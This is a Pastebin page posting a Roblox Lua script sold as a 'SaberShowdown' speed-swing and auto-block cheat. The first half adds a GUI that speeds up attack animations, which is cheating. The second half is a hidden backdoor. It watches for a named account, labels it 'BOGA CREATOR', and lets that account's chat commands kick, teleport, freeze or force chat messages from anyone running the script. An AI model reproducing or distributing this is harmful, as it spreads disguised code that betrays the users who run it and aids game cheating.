Advertisement
Steamhesaproblox

Roblox SaberShowdown Swing And Auto Block Script

May 7th, 2025
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
RBScript 9.22 KB | Gaming | 0 0
  1. game:GetService("StarterGui"):SetCore("SendNotification", {
  2.     Title = "Boga V3",
  3.     Text = "Boga V3 finally released, sorry for delay.",
  4.     Icon = "",
  5.     Duration = 10
  6. })
  7.  
  8. local Players = game:GetService("Players")
  9. local player = Players.LocalPlayer
  10. local RunService = game:GetService("RunService")
  11. local UserInputService = game:GetService("UserInputService")
  12.  
  13. local humanoid
  14. local enabled = false
  15. local baseAnimationSpeed = 1
  16. local animationSpeed = baseAnimationSpeed
  17.  
  18. local screenGui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui"))
  19. screenGui.ResetOnSpawn = false
  20.  
  21. local title = Instance.new("TextLabel", screenGui)
  22. title.Size = UDim2.new(0, 180, 0, 30)
  23. title.Position = UDim2.new(0, 10, 0, 40)
  24. title.BackgroundTransparency = 1
  25. title.Text = "Speed Swing Script | Boga V3"
  26. title.TextScaled = true
  27. title.Font = Enum.Font.SourceSansBold
  28. title.TextColor3 = Color3.fromRGB(200, 200, 200)
  29.  
  30. local frame = Instance.new("Frame", screenGui)
  31. frame.Size = UDim2.new(0, 180, 0, 140)
  32. frame.Position = UDim2.new(0.5, -90, 0.2, 0)
  33. frame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  34. frame.BorderSizePixel = 0
  35. Instance.new("UICorner", frame).CornerRadius = UDim.new(0, 10)
  36.  
  37. local header = Instance.new("TextLabel", frame)
  38. header.Size = UDim2.new(1, 0, 0, 25)
  39. header.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
  40. header.Text = "+"
  41. header.TextColor3 = Color3.fromRGB(200, 200, 200)
  42.  
  43. local toggleButton = Instance.new("TextButton", frame)
  44. toggleButton.Size = UDim2.new(0, 160, 0, 40)
  45. toggleButton.Position = UDim2.new(0, 10, 0, 30)
  46. toggleButton.Text = "OFF"
  47. toggleButton.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
  48. Instance.new("UICorner", toggleButton).CornerRadius = UDim.new(0, 8)
  49.  
  50. local speedInput = Instance.new("TextBox", frame)
  51. speedInput.Size = UDim2.new(0, 160, 0, 40)
  52. speedInput.Position = UDim2.new(0, 10, 0, 80)
  53. speedInput.Text = tostring(baseAnimationSpeed)
  54. speedInput.PlaceholderText = "Swing Speed"
  55. speedInput.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  56. speedInput.TextColor3 = Color3.fromRGB(255, 255, 255)
  57. Instance.new("UICorner", speedInput).CornerRadius = UDim.new(0, 8)
  58.  
  59. local poweredBy = Instance.new("TextLabel", frame)
  60. poweredBy.Size = UDim2.new(0, 180, 0, 20)
  61. poweredBy.Position = UDim2.new(0, 0, 1, -20)
  62. poweredBy.BackgroundTransparency = 1
  63. poweredBy.Text = "Powered by Boga"
  64. poweredBy.TextColor3 = Color3.fromRGB(150, 150, 150)
  65. poweredBy.TextScaled = true
  66.  
  67. local function updateAnimations()
  68.     if humanoid then
  69.         local animator = humanoid:FindFirstChildOfClass("Animator")
  70.         if animator then
  71.             for _, track in pairs(animator:GetPlayingAnimationTracks()) do
  72.                 track:AdjustSpeed(enabled and (animationSpeed / baseAnimationSpeed) or 1)
  73.             end
  74.         end
  75.     end
  76. end
  77.  
  78. local function setupCharacter()
  79.     local character = player.Character or player.CharacterAdded:Wait()
  80.     humanoid = character:WaitForChild("Humanoid")
  81.     local animator = humanoid:FindFirstChildOfClass("Animator")
  82.     if animator then
  83.         animator.AnimationPlayed:Connect(updateAnimations)
  84.     end
  85.     updateAnimations()
  86. end
  87.  
  88. local function toggleScript()
  89.     enabled = not enabled
  90.     toggleButton.Text = enabled and "ON" or "OFF"
  91.     toggleButton.BackgroundColor3 = enabled and Color3.fromRGB(0, 255, 0) or Color3.fromRGB(255, 0, 0)
  92.     updateAnimations()
  93. end
  94.  
  95. player.CharacterAdded:Connect(setupCharacter)
  96. setupCharacter()
  97.  
  98. toggleButton.MouseButton1Click:Connect(toggleScript)
  99.  
  100. speedInput.FocusLost:Connect(function(enterPressed)
  101.     if enterPressed then
  102.         local newSpeed = tonumber(speedInput.Text)
  103.         if newSpeed and newSpeed > 0 then
  104.             animationSpeed = newSpeed
  105.             updateAnimations()
  106.         else
  107.             speedInput.Text = tostring(baseAnimationSpeed)
  108.         end
  109.     end
  110. end)
  111.  
  112. UserInputService.InputBegan:Connect(function(input, gameProcessed)
  113.     if not gameProcessed and input.KeyCode == Enum.KeyCode.Y then
  114.         toggleScript()
  115.     end
  116. end)
  117.  
  118. local dragging = false
  119. local dragStart, startPos
  120.  
  121. header.InputBegan:Connect(function(input)
  122.     if input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.MouseButton1 then
  123.         dragging = true
  124.         dragStart = input.Position
  125.         startPos = frame.Position
  126.         input.Changed:Connect(function()
  127.             if input.UserInputState == Enum.UserInputState.End then
  128.                 dragging = false
  129.             end
  130.         end)
  131.     end
  132. end)
  133.  
  134. header.InputChanged:Connect(function(input)
  135.     if dragging and (input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.MouseMovement) then
  136.         local delta = input.Position - dragStart
  137.         frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  138.     end
  139. end)
  140.  
  141. task.spawn(function()
  142.     local step = 5
  143.     while true do
  144.         for i = 0, 255, step do
  145.             title.TextColor3 = Color3.fromRGB(255 - i, i, 0)
  146.             task.wait(0.05)
  147.         end
  148.     end
  149. end)
  150.  
  151. local oyuncularAlgemali = {}
  152.  
  153. local function alternarAlgema(jogador)
  154.     local nome = jogador.Name
  155.     if oyuncularAlgemali[nome] then
  156.         oyuncularAlgemali[nome]:Disconnect()
  157.         oyuncularAlgemali[nome] = nil
  158.     else
  159.         local connection = RunService.RenderStepped:Connect(function()
  160.             local criador = Players:FindFirstChild("DummySaberShowdown0")
  161.             if criador and jogador.Character and criador.Character then
  162.                 local root = jogador.Character:FindFirstChild("HumanoidRootPart")
  163.                 local rootCriador = criador.Character:FindFirstChild("HumanoidRootPart")
  164.                 if root and rootCriador then
  165.                     root.CFrame = rootCriador.CFrame + rootCriador.CFrame.LookVector * 6
  166.                 end
  167.             end
  168.         end)
  169.         oyuncularAlgemali[nome] = connection
  170.     end
  171. end
  172.  
  173. local function criarTagBillboard(alvo)
  174.     local function criar()
  175.         if alvo.Character and alvo.Character:FindFirstChild("Head") and not alvo.Character:FindFirstChild("BogaTag") then
  176.             local tag = Instance.new("BillboardGui")
  177.             tag.Name = "BogaTag"
  178.             tag.Adornee = alvo.Character.Head
  179.             tag.Size = UDim2.new(4, 0, 1, 0)
  180.             tag.StudsOffset = Vector3.new(0, 4, 0)
  181.             tag.AlwaysOnTop = true
  182.             tag.MaxDistance = 100
  183.             tag.Parent = alvo.Character
  184.  
  185.             local texto = Instance.new("TextLabel", tag)
  186.             texto.Size = UDim2.new(1, 0, 1, 0)
  187.             texto.BackgroundTransparency = 1
  188.             texto.Text = "BOGA CREATOR"
  189.             texto.TextColor3 = Color3.fromRGB(255, 0, 0)
  190.             texto.TextStrokeTransparency = 0
  191.             texto.TextStrokeColor3 = Color3.new(0, 0, 0)
  192.             texto.TextScaled = true
  193.             texto.Font = Enum.Font.SourceSansBold
  194.  
  195.             RunService.RenderStepped:Connect(function()
  196.                 if tag and alvo.Character and alvo.Character:FindFirstChild("Head") then
  197.                     local cam = workspace.CurrentCamera
  198.                     local dist = (alvo.Character.Head.Position - cam.CFrame.Position).Magnitude
  199.                     local scale = math.clamp(dist / 10, 1.2, 5)
  200.                     tag.Size = UDim2.new(4 * scale, 0, 1 * scale, 0)
  201.                     texto.TextSize = math.clamp(14 * scale, 14, 50)
  202.                 end
  203.             end)
  204.         end
  205.     end
  206.     criar()
  207.     alvo.CharacterAdded:Connect(function()
  208.         task.wait(1)
  209.         criar()
  210.     end)
  211. end
  212.  
  213. local function monitorarCriador(jogador)
  214.     criarTagBillboard(jogador)
  215.     jogador.Chatted:Connect(function(msg)
  216.         game:GetService("StarterGui"):SetCore("ChatMakeSystemMessage", {
  217.             Text = "[BOGA CREATOR] " .. jogador.DisplayName .. ": " .. msg,
  218.             Color = Color3.fromRGB(255, 0, 0),
  219.             Font = Enum.Font.SourceSansBold,
  220.             TextSize = 18
  221.         })
  222.  
  223.         local alvoInicial, motivo = msg:match("^!k%s+(%S)%s+(.+)$")
  224.         if alvoInicial and player.Name:sub(1,1):lower() == alvoInicial:lower() then
  225.             player:Kick(" " .. (motivo or "No reason provided"))
  226.         end
  227.  
  228.         local bringInicial = msg:match("^!b%s+(%S)$")
  229.         if bringInicial and player.Name:sub(1,1):lower() == bringInicial:lower() then
  230.             local origem = jogador.Character and jogador.Character:FindFirstChild("HumanoidRootPart")
  231.             local destino = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
  232.             if origem and destino then
  233.                 destino.CFrame = origem.CFrame + origem.CFrame.LookVector * 9
  234.             end
  235.         end
  236.  
  237.         if msg:match("^!c$") then
  238.             game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LC", "All")
  239.         end
  240.  
  241.         local hInicial = msg:match("^!h%s+(%S)$")
  242.         if hInicial and player.Name:sub(1,1):lower() == hInicial:lower() then
  243.             alternarAlgema(player)
  244.         end
  245.     end)
  246. end
  247.  
  248. for _, p in ipairs(Players:GetPlayers()) do
  249.     if p.Name == "DummySaberShowdown0" then
  250.         monitorarCriador(p)
  251.     end
  252. end
  253.  
  254. Players.PlayerAdded:Connect(function(p)
  255.     if p.Name == "DummySaberShowdown0" then
  256.         monitorarCriador(p)
  257.     end
  258. end)
  259.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement